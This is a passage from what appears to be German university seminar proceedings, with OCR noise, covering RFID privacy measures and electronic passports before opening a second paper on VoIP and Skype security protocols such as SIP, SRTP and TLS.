sogenannte Blocker Tags Anwendung. Diese als Transponder getarnten Geréte senden per-
manent auf ein Scannen des Lesegerits ihre ID-Nummer aus, was fiir ein Verstecken der zu
schiitzenden Transponder sorgt. Um die eigentliche Anwendung nicht zu zerstoren, werden
bspw. nur bestimmte Adressrdume durch die Blocker-Tags abgeschirmt. [BSI04
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5.4 Pseudonymisierung

Bei der Pseudonymisierung werden nicht die eigentlichen IDs der Tags verwendet, sondern so-
genannte Meta-IDs. Dieses IDs stellen Ergebnisse einer Hash-Funktion (Hash-Lock-Verfahren)
dar. Diese Meta-ID (hier: Pseudonym) sperrt den Tag insofern, dass er nur iiber diese Meta-ID
vom Lesegerdt ansprechbar ist. Zur Entsperrung muss das Lesegerét in einer Datenbank den
zum Pseudonym gehorigen Schliissel suchen und an den Tag iibermitteln. Dieser berechnet
das Pseudoynm aus dem Schliissel und bei richtigem Schliissel entsperrt sich dieser. [BSI04]

5.5 Dauerhafte Deaktivierung

Wird der RFID-Tag nicht mehr bendétigt, sollte dieser dauerhaft deaktiviert werden, um ein
,Umkleben“ zu verhindern. [uChr06|

5.6 Henrici-Miiller-Verfahren

Das Verfahren von Henrici und Miiller besteht aus drei Bestandteilen.

e Gegenseitige Authentifizierung von Tag und Lesegerit
o Kommunikationsverschliisselung

e Sicherstellung von ,,Location Privacy*

Um die ,Location Privacy* zu gewéhrleisten wird hierbei regelméssig die ID gedndert und
niemals die ID, sondern nur der Hashwert preisgegeben. |[BSI04

5.7 Bedrohungslage

Abbildung |8 stellt die Kosten fiir den Angriff eines RFID-Systems in Bezug zu den Kosten fiir
die entsprechenden Gegenmafinahmen. Grundsétzlich sind die Kosten geringer als die Kosten
fiir den Angriff, was wiederum bedeutet, dass durch geeignete Mafinahmen es dem Angrei-
fer schwer gemacht wird, einen Angriff auf das System zu machen. Durch die massenweise
Produktion der RFID-Chips reduzieren sich die Kosten auf ein Minimum.

6 Perspektiven

FEine in der Vergangenheit beziiglich der Sicherheit kritisch betrachtete Technologie scheint
vor dem Durchbruch zu stehen. Laut dem INFORMATIONSFORUM RFID e.V. [e.V.07
stehen im européischen Haushalt neun Milliarden Euro fiir Informations- und Kommunika-
tionstechnologien bereit, wovon Teile der Fordermittel auch fiir ehrgeizige RFID-Projekte
vorgesehen sein sollen. Unternehmen schitzen die Technologie, da sie ihre Geschéftsprozesse
optimieren soll. Auch im Gesundheitsbereich findet RFID Anwendung. So soll die ,Vernetze
Klinik* dabei helfen Prozesse innerhalb von Krankenhiusern zu verbessern. Mit Transpon-
der versehene Betten kénnen so effizienter gereinigt werden und Reinigungskosten eingespart
werden. Alles in allem lésst sich sagen, dass in Zukunft viele Bereich durch RFID optimierbar
sind, den administrativen Teil vieler Vorgénge verringern wird und, als wichtiger Punkt an
zufithren, die Fehlerquote praktisch auf Null reduzieren soll.
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Angriff Kosten GegenmalBnahmen Kosten
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Mechanische Verbindung
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' Tragerobjekt Zusatzmerkmale
Mechanische oder : i L
chemische Zerstorung  |9""9 Mechanische Verbindung gerig Dis mittel
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Zerstorung durch
Missbrauch eines Kill- mittel rnittel
Befehls Authentifizierung
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{nur aktive Tags) Frisied Schlafmodus i Sene gering
: \Verbot in AGB :
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Feldverstimmung sehr gering aktive Frequenznachfihrung mittel bis hoch
h ) verbesserte Lesestationen ittel
Abschirmung itttk (nur begrenzt wirksam) oo

6.1 Anwendung am Beispiel Reisepass

Abbildung 8: Bedrohungslage [BSI04]

Wie [EPA] berichtete, gibt es seit Mérz 07 neue elektronische Reisepésse (Siehe Abbildung9),
die mit einem RFID-Chip ausgestattet sind. Dieser neue, ePass genannte, Reisepass ermoglicht
die eindeutge Feststellung der Identitdt des Triagers bzw. entlarvt Betriiger, die sich eines
anderen Reisepasses beméchtigt haben.

Dieser ePass hat nach [EPA] folgende Spezifikation:

e Beinhaltet RFID-Chip

Kryptographischer Coprozessor

Speicherung der iiblichen Personendaten + biometrische Merkmale
Integritdt + Authentizitdt durch Signatur gewéhrleistet

Zugriffsschutz soll unbemerktes Auslesen vermeiden

Dass dieser vermeindlich sichere ePass sicherheitskritische Méngel aufweist, zeigen neueste
Versuche, die diese Sicherheitsmechanismen umgehen. So gelang es einem deutschen Forscher
diesen Schutz zu umgehen, den Tag zu klonen und somit eine Kopie eines ePasses anzufertigen.

Wie kann man sich jedoch trotz neuem elektronischen Reisepass vor unbefugtem Zugriff
Dritter schiitzen ? Eine Mo6glichkeit stellt eine Schutzhiille dar, die aus einer diinnen Kunst-
stoffschicht sowie einer Metalllegierung zur Abschirmung der Daten vor unbefugtem Auslesen
besteht. (Siehe Abbildung 10)
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Pas=buch

Abbildung 9: Elektronischer Pass [EPA

Abbildung 10: RFID-Schutzhiille [SAF
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VolIP- und Skype-Sicherheit

Dennis Asi

Internet-Telefonie bzw. VoIP (Voice over Internet Protocol) hat in den letzten Jah-
ren zunehmend an Bedeutung gewonnen - und damit gleichsam die Frage nach der
Sicherheit. Die Gewéhrleistung der Sicherheit erfordert verschiedene Mafinahmen
und umfasst unter anderem die Wahrung der priméren Sicherheitsziele Vertrau-
lichkeit, Authentizitdt, Integritit und Verfigbarkeit. Basierend auf den Grundla-
gen der Internet-Telefonie (Signalisierung, Echtzeitkommunikation) und mit be-
sonderem Hinblick auf die VolP-Software Skype werden in dieser Seminararbeit
Protokolle und Mechanismen vorgestellt, die Sicherheit in VolIP-Netzwerken ge-
wihrleisten und férdern kénnen. Dariiber hinaus werden Szenarien und Angriffs-
moglichkeiten veranschaulicht, die diesen Sicherheitszielen entgegenwirken und es
wird erldutert, wie und an welchen Stellen Angriffe durchgefiihrt werden und wel-
che Konsequenzen sich schlussendlich fiir VoIP-Netzwerke und -Benutzer ergeben
konnen.

1 Einleitung

Telefonie ist seit circa 40 Jahren zu einem praktisch unverzichtbaren Bestandteil unserer Ge-
sellschaft geworden. Ob mit dem Handy oder beim Griff zum ,altmodischen® Festnetztelefon
- nahezu stédndig bedienen wir uns dieser Technik, die bereits vor 150 Jahren ihre Anfinge
nahm. Und wie jede technologische Errungenschaft, so ist auch die Telefonie einem stetigen
Wandel unterzogen - gerade in den letzten Jahren zeigt sich ein fortlaufender Trend zur so-
genannten Internet-Telefonie bzw. VolIP (Voice over Internet Protocol). Die Kopplung dieser
beiden Netze, also des klassischen Telefonnetzes und des Internets, welche auch als ,,Kon-
vergenz der Netze“ [Bada07] bezeichnet wird, birgt nicht nur technische Herausforderungen,
sondern stellt auch erhebliche Anspriiche an sicherheitsrelevante Aspekte. Die Grundlagen
dieser Entwicklung, die Anforderungen an die Sicherheit sowie mogliche Angriffsszenarien
sollen im Rahmen dieser Seminararbeit vermittelt werden. Dabei soll auch ein spezielles Au-
genmerk auf das am weitesten verbreitete Signalisierungsprotokoll SIP und die momentan
populérste VolP-Software, Skype, gerichtet werden.

2 Grundlagen

2.1 Wie funktioniert Internet-Telefonie?

Internet-Telefonie bzw. ein Internet-Telefonat verlduft im Grunde wie ein gewohnliches Te-
lefongespriich. Um Sprache iiber das Internet, welches auch als IP-Netz (Internet Protocol)
bezeichnet wird, iibertragen zu konnen, miissen allerdings eine Reihe von Protokollen und
Mechanismen zur Verfiigung gestellt werden, die zum einen fiir den Auf- und Abbau einer


mailto:asi.dennis@googlemail.com

210 Dennis Asi: VoIP-Sicherheit

Verbindung als auch fiir den Transport der eigentlichen Datenpakete zwischen Gesprichs-
teilnehmern bzw. Endgeriiten (,,/P-Telefone“) zustéindig sind. Desweiteren sollte die Sprach-
iibertragung vornehmlich in Echtzeit geschehen, weshalb zusétzlich bestimmte Giitekritieren
2.1.3) erfiillt werden miissen. Das grundlegende Prinzip der Internet-Telefonie ist in Abbil-
dung |1 dargestellt.

Signalisierung
(SIP)

y

—p| Verbindungs- Informations- Verbindungs- |,
aufbau austausch abbau

v

v

A

Echtzeitkom-
munikation
(RTP/RTCP)

Abbildung 1: Grundprinzip der Internet-Telefonie

2.1.1 Signalisierung

Die Ubertragung von Sprache bzw. Sprachdaten setzt in der Regel zuniichst den Aufbau
einer Verbindung zwischen den Kommunikationspartnern voraus. Dieser Vorgang, welcher
auch die Aufrechterhaltung der gesamten Kommunikationsverbindung wahrend der eigentli-
chen Dateniibertragung sowie nach abgeschlossenem Informationsaustausch den Abbau der
Verbindung beinhaltet, wird als Signalisierung bezeichnet. Das mittlerweile am weitesten ver-
breitete Signalisierungsprotokoll ist SIP, das Session Initiation Protocol. Es wurde erstmals
in RFC2543 von der IETF, der Internet Engineering Task Force, spezifiziert und unter ande-
rem durch RFC3261 erweitert. Das Protokoll arbeitet nach dem Request/Response-Prinzip,
wobei ein Teilnehmer eine Anfrage (SIP-Request) fiir ein Telefongespriich an einen anderen
Teilnehmer sendet, die dieser dann entsprechend beantwortet (SIP-Response). Es unterstiitzt
dariiber hinaus Authentifizierung (3.3), Weiterleitung der Anrufe sowie Audio- und Video-
konferenzen.

SIP-Adressen, Einsatzgebiete und SIP-Nachrichten

Die Kennung bzw. Adressierung von Benutzern erfolgt in Anlehnung an das Schema der
E-Mail-Adressen (wobei diese dann entsprechend als SIP-Adressen bezeichnet werden): so
kann ein Teilnehmer beispielsweise durch Teilnehmer@domain.zyz adressiert werden. Weiter-
hin kann der SIP-Einsatz in VolP-Netzwerken an verschiedensten Stellen geschehen: es kann
sowohl fiir einfache Verbindungen in Endgerédten als auch in komplexen Netzen in Serverein-
richtungen verwendet werden. Bei letzterem unterscheidet man dabei zwischen

e Registrar (Location Server): Da anhand einer SIP-Adresse nur die Doméne (Do-
main) eines Teilnehmers zu erkennen ist und nicht, welches Endgerit er tatsichlich
benutzt, konnen Anfragen an den Registrar gestellt werden, der die (IP-)Adresse der
eigentlichen Zieleinrichtung in der Doméne bestimmt. Der Registrar ist meistens in
einem eigenstidndigen Server, dem Location Server, integriert.
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e Proxy-Server: Ein Proxy-Server dient in der Regel als Vermittler zwischen zwei oder
mehreren Gespréchsteilnehmern, indem er Anfragen weiterleitet und im Bedarfsfall In-
formationen von einem Location Server anfordert, um Endgerite zu adressieren.

e Redirect-Server: Agiert als Vermittler und bestimmt unter anderem mit Hilfe des
Registrars Zieladressen. Diese leitet er jedoch direkt an den Initiator der Verbindung
weiter, damit dieser eine sogenannte virtuelle Verbindung mit dem Empfianger aufbauen
kann und somit keine weitere Anfragen an den Server stellen muss.

SIP ist ein nachrichtenorientiertes Protokoll, das heifit, dass Anfragen und dazugehorige
Antworten durch fest definierte Nachrichten und entsprechendem Inhalt iibermittelt werden.
Eine Auflistung der wichtigsten Nachrichtentypen ist in Tabelle 1/ wiedergegeben. In Abbil-

Request-Nachrichten
Name/Typ Beschreibung
INVITE Initiiert den Aufbau einer Verbindung zwischen zwei Teilnehmern.
BYE Initiiert den Abbau einer Verbindung.
ACK Bestétigt die Annahme eines Anrufs.
REGISTER Sendet Teilnehmerdaten an einen Registrar.
CANCEL Unterbricht und beendet den Aufbau einer Verbindung.
Response-Nachrichten
1xx (Informational) Mitteilung, dass ein Request bearbeitet wird.
2xX (Success) Eine Anfrage wurde erfolgreich empfangen und akzeptiert.
3xx (Redirection) Es miissen weitere Bearbeitungs- und Weiterleitungs-
schritte fiir eine erfolgreiche Anfrage vorgenommen werden.
4xx/5xx/6xx | (Errors/Failures) Fehler sind aufgetreten.

Tabelle 1: Ubersicht iiber SIP-Nachrichtentypen

dung 2list schlieBlich ein beispielhafter Ablauf eines Signalisierungs- und Ubertragungsvor-
gangs dargestellt: Teilnehmer B registriert sich zunéchst beim Registrar mittels REGISTER.
AnschlieBend initiiert Teilnehmer A durch INVITE einen Verbindungsaufbau, der mit Hilfe
des Proxy Servers und Registrars zum gewiinschten Ziel {ibermittelt wird. Nachdem beide
Seiten Bestétigungen gesendet haben (200 Ok und ACK), erfolgt der eigentliche Informations-
austausch. Die Verbindung wird dann nachfolgend mit BYE durch Teilnehmer A beendet, was
Teilnehmer B schlieflich bestétigt.

2.1.2 Echtzeitkommunikation

Nach dem erfolgreichen Aufbau einer Kommunikationsverbindung besteht eine sogenannte
RTP-Sitzung zwischen den Gespréchsteilnehmern. Das dabei zum FEinsatz kommende Proto-
koll RTP (Real-time Transport Protocol) [RFC3550], das auf UDP (User Datagram Protocol)
[RFC768] aufbaut, wurde speziell fiir die Ubertragung von Audio- und Videodaten konzipiert,
da das fiir die reine Dateniibertragung iiblicherweise verwendete TCP (Transmission Control
Protocol) [RFC793] nicht echtzeitfihig ist. Allerdings fehlen bei RTP gewisse Eigenschaften
zur Ubertragungssicherung (u.a. Empfangsquittierung) der zu iibermittelnden Sprachdaten,
weshalb als zusétzliches Steuerungsprotokoll RT'CP, das RTP Control Protocol, entwickelt
wurde.
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Abbildung 2: Ablauf eines Signalisierungsvorgangs [Bada07] [RSCJ*02]

2.1.3 QoS - Quality of Service

Besonders bei VoIP werden bestimmte Dienstgiite-Anforderungen, die auch als QoS-An-
forderungen bezeichnet werden, an das Netzwerk gestellt, um die Sprache in akzeptabler
Qualitéit und Zeit iibertragen zu konnen. Dazu muss das Netz unter anderem imstande sein,
eine gewisse Mindest-Bandbreite fiir eine Verbindung zu garantieren und Verzogerungszeiten
sowie Datenverluste zu minimieren. In vielen Netzwerken (u.a. dem Internet und praktisch
allen Ethernet-Netzwerken) ist Quality of Service allerdings nach wie vor nicht verwirklicht,
woraus folgt, dass eine Garantie fiir eine angemessene Ubertragung der Sprache so gut wie
unmdglich ist [ErDe07].

2.2 Skype als populdre VolP-Software

Neben den Standards der IETF haben sich im Laufe der Zeit eine ganze Reihe weiterer Pro-
tokolle und Anwendungen fiir VolIP entwickelt, genannt seien zum Beispiel H.323 der ITU-T
(Internationale Fernmeldeunion), Jingle, Gizmo oder Zfone. Unter ihnen hat sich jedoch ei-
ne Software besonders herauskristallisiert: Skype. Skype ist ein von den Softwareentwicklern
Niklas Zennstrom und Janus Friis programmiertes proprietires VolP-Softwarepaket, das auf
p2p-Technologie (Peer-to-peer) basiert und somit den Aufbau eines dezentralen Netzwerks
ermdglicht, in dem jeder Peer (Gleichberechtigter) mit anderen bekannten Peers iiber eine di-
rekte Verbindung kommunizieren kann. Dadurch wird das Gesamtsystem sehr dynamisch und
skalierbar, da Rechenleistung und Speicherplatz von den jeweiligen Skype-Benutzern bezogen
werden kénnen [ScFSO05]. Die grofie Popularitit von Skype ist im Grunde auf die einfache
Bedienbarkeit bzw. Benuteroberfliche, die ausgezeichnete Sprach- und Ubertragungsquali-
tat und die problemlose Funktionsweise speziell hinter Sicherheitsmechanismen wie Firewalls
zuriickzufithren [BaSc04].

Netzwerkstruktur

Das Skype-Netzwerk selbst besteht aus drei Komponenten: Ordinary Hosts, Supernodes und
Login Server. Ordinary Hosts stellen gewohnliche Skype-Clients dar (z.B. PCs, Laptops etc.
mit installierter Skype-Software), die, sofern sie geniigend Ressourcen (d.h. CPU, Bandbrei-
te usw.) besitzen, zu Supernodes aufgewertet werden kénnen und nunmehr Verteilerknoten
reprasentieren. Das einzige zentrale Element im Skype-Netzwerk ist der Login Server, der
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Benutzerdaten wie Name und Passwort speichert und auflerdem die Authentifizierung (3.3)
der Benutzer vornimmt. In Abbildung [3 ist der schematische Aufbau des Skype-Netzwerks
wiedergegeben: Ordinary Hosts miissen sich zunéchst mit einem Supernode (aus einer Menge
von bekannten Supernodes) verbinden, bevor sie Anfragen an sonstige Netzknoten stellen kén-
nen. Diese Anfragen werden dann entsprechend iiber den Supernode an andere Supernodes
weitergeleitet (,,verteilt®), bis das gewiinschte Ziel gefunden wurde (das heifit entweder ande-
re Ordinary Hosts, Supernodes oder Login Server bei der Anmeldung im Skype-Netzwerk)
[BaSc04].

Login
Server

Nachbarschafts -
beziehungen
zwischen Nodes

/ Supernode

AN

Abbildung 3: Aufbau des Skype-Netzwerks [BaSc04

Ordinary Host

3 VolP-Sicherheit

Je schneller das Internet wichst, je mehr Dienste und Funktionen im Internet bereitge-
stellt werden, umso zentraler und wichtiger wird auch die Frage nach der Sicherheit. Ob
beim Online-Banking, bei Auktionen, beim Empfangen und Versenden von E-Mails oder bei
Internet-Telefonie: immer dréangender werden die Forderungen nach robusten und effektiven
Mechanismen und Protokollen, die Schutz vor unbefugtem Zugriff und nichtauthorisierter
Manipulation und Zerstorung gewihrleisten - insbesondere bei einem stetigen Wachstum kri-
mineller Aktivitdten und Elemente im Internet [BSIO7]. Bei VoIP-Netzwerken ist dies sogar
umso zwingender, da iiber Sprache ausgetauschte Informationen sehr viel persénlicher, ver-
traulicher und aussagekréftiger sein kénnen, als beispielsweise Textnachrichten in Chatsyste-
men und ein Schutz dieser Informationen wie bei Gesprichen iiber das normale Telefonnetz
als quasi selbstverstindlich angesehen wird. Desweiteren ist speziell bei p2p-Netzwerken wie
Skype, in denen Netzknoten direkt miteinander kommunizieren kénnen und der Datenver-
kehr nicht iiber eine zentrale Instanz lduft (mit Ausnahme der Authentifizierung beim Login
Server), eine funktionierende Schutzvorrichtung seitens der Anwendung Grundvoraussetzung
fiir einen sicheren Betrieb. Die Gewdhrleistung der Sicherheit hat somit eine der obersten
Prioritdten beim Entwurf und bei der Nutzung von VolP-Netzwerken.

3.1 Sicherheitsziele

Es gibt eine Vielzahl an unterschiedlichen Aspekten, die die Sicherheit in VoIP-Netzwerken
beeinflussen kénnen. Die bedeutensten Faktoren sind in Abbildung |4 illustriert. In den fol-
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genden Kapiteln sollen dabei in erster Linie die technischen Aspekte erldutert werden, also
die Bedeutung der Begriffe Vertraulichkeit, Authentizitdt, Integritit, und Verfigbarkeit, wel-
che auch als primdre Sicherheitsziele [Bada07] bezeichnet werden. Dariiber hinaus soll auch
auf Mafinahmen eingegangen werden, die die Realisierung dieser Eigenschaften erméglichen.
Neben den priméren Sicherheitszielen gibt es noch sekunddre Sicherheitsziele, die im Grunde
als Verfeinerungen bzw. Spezialisierungen aus den priméren hervorgehen (so kann beispiels-
weise Authentizitdt als ,Integritdt von Nachrichteninhalt und Nachrichtenherkunft* [BSI05
definiert werden).

Technische Aspekte )

Vertrau- Authen- s Verfiig-
J

v

Rechtliche
Aspekte

Organisatorische
Aspekte

VolP-
Benutzerverwaltung . .
Monitoring Sicherheit
Berechtigungs-
Management

Haftung
Geblihrenbetriige

Menschliche Geschéftliche

Aspekte Aspekte

Kriminelle Handlungen Geheimhaltung von
Handhabungsfehler Unternehmens- und
»Menschliches Kundendaten
Versagen*

Abbildung 4: Aspekte der VoIP-Sicherheit [Bada07]

3.2 Vertraulichkeit

Unter Vertraulichkeit (Confidentiality) wird der Schutz vor unerlaubter Preisgabe von Infor-
mationen verstanden, das heif3t in erster Linie der Schutz vor unbefugtem Abhoéren von Te-
lefongespriachen. Aber auch fiir den Benutzer nicht direkt sichtbare Informationen wie Steue-
rungsinformationen, die einen Riickschlufl auf Aufenthaltsorte, Identitdt der Gesprichsteil-
nehmer oder Gespriichsdauer ermdglichen, miissen entsprechend gesichert werden [SAGS06].

Mafinahmen zur Gewihrleistung von Vertraulichkeit

Um vertrauliche Gespréiche abhorsicher zu machen, bietet sich natiirlich eine entsprechende
Verschliisselung an, das heifit, das Verschliisseln der Daten vor der Ubertragung und das
Entschliisseln der Daten nach der Ubertragung. Bei VoIP teilt sich dieses Vorgehen in zwei
Phasen auf, ndmlich in die

e Verschliisselung der Signalisierungsinformationen
Da stets gewisse ,,reine” Signalisierungsinformationen fiir den Verbindungsauf- und ab-
bau benotigt werden, kénnen diese nicht géanzlich verschliisselt werden, da beispielsweise
ein Router die Zieladresse im Header eines SIP-Pakets lesen muss, um den korrekten
Weg ermitteln zu kénnen. Allerdings kann der Kanal, also der Transportweg vom Sender
zum Empfinger, entsprechend gesichert werden; dafiir stehen Mechanismen bzw. Pro-
tokolle wie IPSec (Internet Protocol Security) [RFC4301], SSL/TLS (Secure Sockets
Layer/Transport Layer Security) [RFC4346] und S/MIME (Secure/Multipurpose In-
ternet Mail Extensions) [RFC2311] zur Verfiigung [RSCJ102] [HoSV07]. Mit jedem

dieser Protokolle kénnen desweiteren unterschiedliche Sicherheitskonzepte verwirklicht
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werden, so erlaubt SSL/TLS beispielsweise Punkt-zu-Punkt-Sicherheit, das heifit, dass
SIP-Pakete von Netzknoten zu Netzknoten jeweils vollsténdig verschliisselt und dann
entschliisselt werden. Mit S/MIME hingegen kann eine Ende-zu-Ende-Sicherheit rea-
lisiert werden, so dass die Daten in SIP-Paketen auf dem gesamten Ubertragungsweg
geschiitzt sind - der Header jedoch nicht, da er von jeder Zwischenstation gelesen und
gegebenenfalls auch veréindert werden muss.

e Verschliisselung der Sprachdaten

RTP selbst ist nicht sicher; die durch RTP iibertragenen Pakete enthalten zusétzli-
che Daten (zum Beispiel Sequenznummern), die eine Rekonstruktion im Falle einer
Verfiillschung der Reihenfolge iibermittelter Datenpakete auf dem Ubertragungsweg er-
moglichen. Diese sowie die eigentlichen Sprachdaten liegen in ungeschiitzter Weise vor
und erlauben somit einem Angreifer letztendlich, das Gespriach vollstindig und ein-
deutig wiederherstellen zu kénnen. Aus diesem Grund wurde SRTP (Secure Real-time
Transport Protocol) [RFC3711] entwickelt, welches eine symmetrische Verschliisselung
bietet.

Vertraulichkeit in Skype [Bers05]

Fiir die Kommunikation zwischen Netzknoten wird das symmetrische Verschliisselungsver-
fahren AES (Advanced Encryption Standard) (Schliissellinge 256 Bit) und zur Schliissel-
aushandlung das asymmetrische Public-Key-Kryptosystem RSA (Rivest, Shamir, Adleman)
(Schliissellinge 1024 Bit) verwendet.

¢ Kommunikation zwischen Client und Login Server
Clients kénnen unter Benutzung des 6ffentlichen Schliissels (public key), welcher direkt
in die Skype-Software integriert wurde, Nachrichten verschliisseln und an den Login
Server versenden. Dieser entschliisselt die Nachrichten dann mit dem privaten Schliissel
(private key), welcher zentral gespeichert wird. Dieser Vorgan